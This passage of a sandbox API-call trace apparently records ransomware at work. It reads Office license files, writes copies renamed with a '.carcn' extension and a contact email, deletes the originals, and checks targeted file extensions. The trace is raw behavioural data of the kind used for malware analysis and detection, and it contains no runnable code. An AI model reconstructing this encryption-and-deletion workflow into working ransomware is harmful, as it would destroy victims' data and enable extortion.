dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0287.754] GetLastError () returned 0x0 [0287.754] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2d63, lpOverlapped=0x0) returned 1 [0288.307] WriteFile (in: hFile=0x578, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0288.309] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0288.309] WriteFile (in: hFile=0x578, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x114, lpOverlapped=0x0) returned 1 [0288.309] SetEndOfFile (hFile=0x578) returned 1 [0288.309] CloseHandle (hObject=0x578) returned 1 [0288.309] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.309] SetEndOfFile (hFile=0x574) returned 1 [0288.313] CloseHandle (hObject=0x574) returned 1 [0288.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1 [0288.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0288.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0288.315] lstrlenW (lpString=".doc") returned 4 [0288.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0288.315] lstrlenW (lpString=".docx") returned 5 [0288.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0288.315] lstrlenW (lpString=".pdf") returned 4 [0288.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0288.315] lstrlenW (lpString=".xls") returned 4 [0288.315] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0288.315] lstrlenW (lpString=".xlsx") returned 5 [0288.316] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0288.316] lstrlenW (lpString=".ppt") returned 4 [0288.316] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0288.316] lstrlenW (lpString=".zip") returned 4 [0288.316] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0288.316] lstrlenW (lpString=".rar") returned 4 [0288.316] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0288.316] lstrlenW (lpString=".bz2") returned 4 [0288.316] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0288.316] lstrlenW (lpString=".7z") returned 3 [0288.316] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0288.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0288.316] lstrlenW (lpString=".dbf") returned 4 [0288.317] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0288.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0288.317] lstrlenW (lpString=".1cd") returned 4 [0288.317] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0288.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0288.317] lstrlenW (lpString=".jpg") returned 4 [0288.317] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0288.317] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11167) returned 1 [0288.318] CloseHandle (hObject=0x574) returned 1 [0288.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220 [0288.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0288.319] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.319] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0294.036] GetLastError () returned 0x0 [0294.036] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0294.136] WriteFile (in: hFile=0x44c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0294.137] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.137] WriteFile (in: hFile=0x44c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0294.137] SetEndOfFile (hFile=0x44c) returned 1 [0294.137] CloseHandle (hObject=0x44c) returned 1 [0294.137] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.137] SetEndOfFile (hFile=0x574) returned 1 [0294.140] CloseHandle (hObject=0x574) returned 1 [0294.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1 [0294.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0294.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0294.141] lstrlenW (lpString=".doc") returned 4 [0294.142] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString=".docx") returned 5 [0294.142] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0294.142] lstrlenW (lpString=".pdf") returned 4 [0294.142] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString=".xls") returned 4 [0294.142] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString=".xlsx") returned 5 [0294.142] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0294.142] lstrlenW (lpString=".ppt") returned 4 [0294.142] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0294.142] lstrlenW (lpString=".zip") returned 4 [0294.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString=".rar") returned 4 [0294.142] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString=".bz2") returned 4 [0294.142] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString=".7z") returned 3 [0294.142] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0294.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0294.142] lstrlenW (lpString=".dbf") returned 4 [0294.142] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0294.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0294.142] lstrlenW (lpString=".1cd") returned 4 [0294.142] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0294.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0294.143] lstrlenW (lpString=".jpg") returned 4 [0294.143] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0294.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0d70 | out: hHeap=0x640000) returned 1 [0294.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6cde50 | out: hHeap=0x640000) returned 1 [0294.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x37db448 | out: hHeap=0x640000) returned 1 [0294.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x37eb450 | out: hHeap=0x640000) returned 1 [0294.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x43a5020 | out: hHeap=0x640000) returned 1 [0294.151] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0cc8 | out: hHeap=0x640000) returned 1 [0294.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9c18 [0294.152] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9c18, Size=0x20) returned 0x699f50 [0294.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9d80 [0294.152] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9d80, Size=0x20) returned 0x699ca8 [0294.152] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.152] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.152] Wow64DisableWow64FsRedirection (in: OldValue=0x3cfff50 | out: OldValue=0x3cfff50*=0x1) returned 1 [0294.152] lstrlenW (lpString="kernel32.dll") returned 12 [0294.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699ca8 | out: hHeap=0x640000) returned 1 [0294.152] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699f50 | out: hHeap=0x640000) returned 1 Thread: id = 55 os_tid = 0xd90 [0251.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x37fbb28 [0251.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x44b0048 [0251.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0d88 [0251.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6cde40 [0251.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0da0 [0251.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x46b9020 [0251.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0db8 [0251.777] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0db8, Size=0x20) returned 0x680a38 [0251.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0db8 [0251.777] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0db8, Size=0x20) returned 0x680c18 [0251.778] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0251.778] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0251.778] Wow64DisableWow64FsRedirection (in: OldValue=0x3e3ff50 | out: OldValue=0x3e3ff50*=0x0) returned 1 [0251.778] lstrlenW (lpString="kernel32.dll") returned 12 [0251.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680a38 | out: hHeap=0x640000) returned 1 [0251.778] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0251.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680c18 | out: hHeap=0x640000) returned 1 [0251.778] Sleep (dwMilliseconds=0x64) [0252.125] Sleep (dwMilliseconds=0x64) [0252.461] Sleep (dwMilliseconds=0x64) [0252.901] Sleep (dwMilliseconds=0x64) [0253.466] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0253.466] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0253.466] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0254.522] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=1052672) returned 1 [0254.522] CloseHandle (hObject=0x414) returned 1 [0254.523] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0254.523] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x20 [0254.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.524] lstrlenW (lpString=".doc") returned 4 [0254.524] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0254.524] lstrlenW (lpString=".docx") returned 5 [0254.524] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0254.524] lstrlenW (lpString=".pdf") returned 4 [0254.524] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0254.524] lstrlenW (lpString=".xls") returned 4 [0254.524] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0254.524] lstrlenW (lpString=".xlsx") returned 5 [0254.524] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0254.524] lstrlenW (lpString=".ppt") returned 4 [0254.524] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0254.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.524] lstrlenW (lpString=".zip") returned 4 [0254.524] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0254.524] lstrlenW (lpString=".rar") returned 4 [0254.524] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0254.524] lstrlenW (lpString=".bz2") returned 4 [0254.524] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0254.524] lstrlenW (lpString=".7z") returned 3 [0254.524] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0254.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.525] lstrlenW (lpString=".dbf") returned 4 [0254.525] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0254.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.525] lstrlenW (lpString=".1cd") returned 4 [0254.525] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0254.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.525] lstrlenW (lpString=".jpg") returned 4 [0254.525] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0254.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.525] lstrlenW (lpString=".doc") returned 4 [0254.525] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0254.525] lstrlenW (lpString=".docx") returned 5 [0254.525] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0254.525] lstrlenW (lpString=".pdf") returned 4 [0254.525] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0254.525] lstrlenW (lpString=".xls") returned 4 [0254.525] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0254.525] lstrlenW (lpString=".xlsx") returned 5 [0254.525] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0254.525] lstrlenW (lpString=".ppt") returned 4 [0254.525] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0254.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.525] lstrlenW (lpString=".zip") returned 4 [0254.525] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0254.526] lstrlenW (lpString=".rar") returned 4 [0254.526] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0254.526] lstrlenW (lpString=".bz2") returned 4 [0254.526] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0254.526] lstrlenW (lpString=".7z") returned 3 [0254.526] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0254.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.526] lstrlenW (lpString=".dbf") returned 4 [0254.526] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0254.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.526] lstrlenW (lpString=".1cd") returned 4 [0254.526] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0254.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0254.526] lstrlenW (lpString=".jpg") returned 4 [0254.526] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0254.526] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.526] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0254.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0254.528] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=20672) returned 1 [0254.528] CloseHandle (hObject=0x414) returned 1 [0254.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0254.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.528] lstrlenW (lpString=".doc") returned 4 [0254.528] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.528] lstrlenW (lpString=".docx") returned 5 [0254.529] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.529] lstrlenW (lpString=".pdf") returned 4 [0254.529] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.529] lstrlenW (lpString=".xls") returned 4 [0254.529] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.529] lstrlenW (lpString=".xlsx") returned 5 [0254.529] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.529] lstrlenW (lpString=".ppt") returned 4 [0254.529] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.529] lstrlenW (lpString=".zip") returned 4 [0254.529] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.529] lstrlenW (lpString=".rar") returned 4 [0254.529] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.529] lstrlenW (lpString=".bz2") returned 4 [0254.529] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.529] lstrlenW (lpString=".7z") returned 3 [0254.529] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.529] lstrlenW (lpString=".dbf") returned 4 [0254.529] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.529] lstrlenW (lpString=".1cd") returned 4 [0254.529] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.529] lstrlenW (lpString=".jpg") returned 4 [0254.529] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.530] lstrlenW (lpString=".doc") returned 4 [0254.530] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.530] lstrlenW (lpString=".docx") returned 5 [0254.530] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.530] lstrlenW (lpString=".pdf") returned 4 [0254.530] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.530] lstrlenW (lpString=".xls") returned 4 [0254.530] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.530] lstrlenW (lpString=".xlsx") returned 5 [0254.530] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.530] lstrlenW (lpString=".ppt") returned 4 [0254.530] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.530] lstrlenW (lpString=".zip") returned 4 [0254.530] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.530] lstrlenW (lpString=".rar") returned 4 [0254.530] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.530] lstrlenW (lpString=".bz2") returned 4 [0254.530] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.530] lstrlenW (lpString=".7z") returned 3 [0254.530] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.531] lstrlenW (lpString=".dbf") returned 4 [0254.531] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.531] lstrlenW (lpString=".1cd") returned 4 [0254.531] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0254.531] lstrlenW (lpString=".jpg") returned 4 [0254.531] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.531] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.531] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0254.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 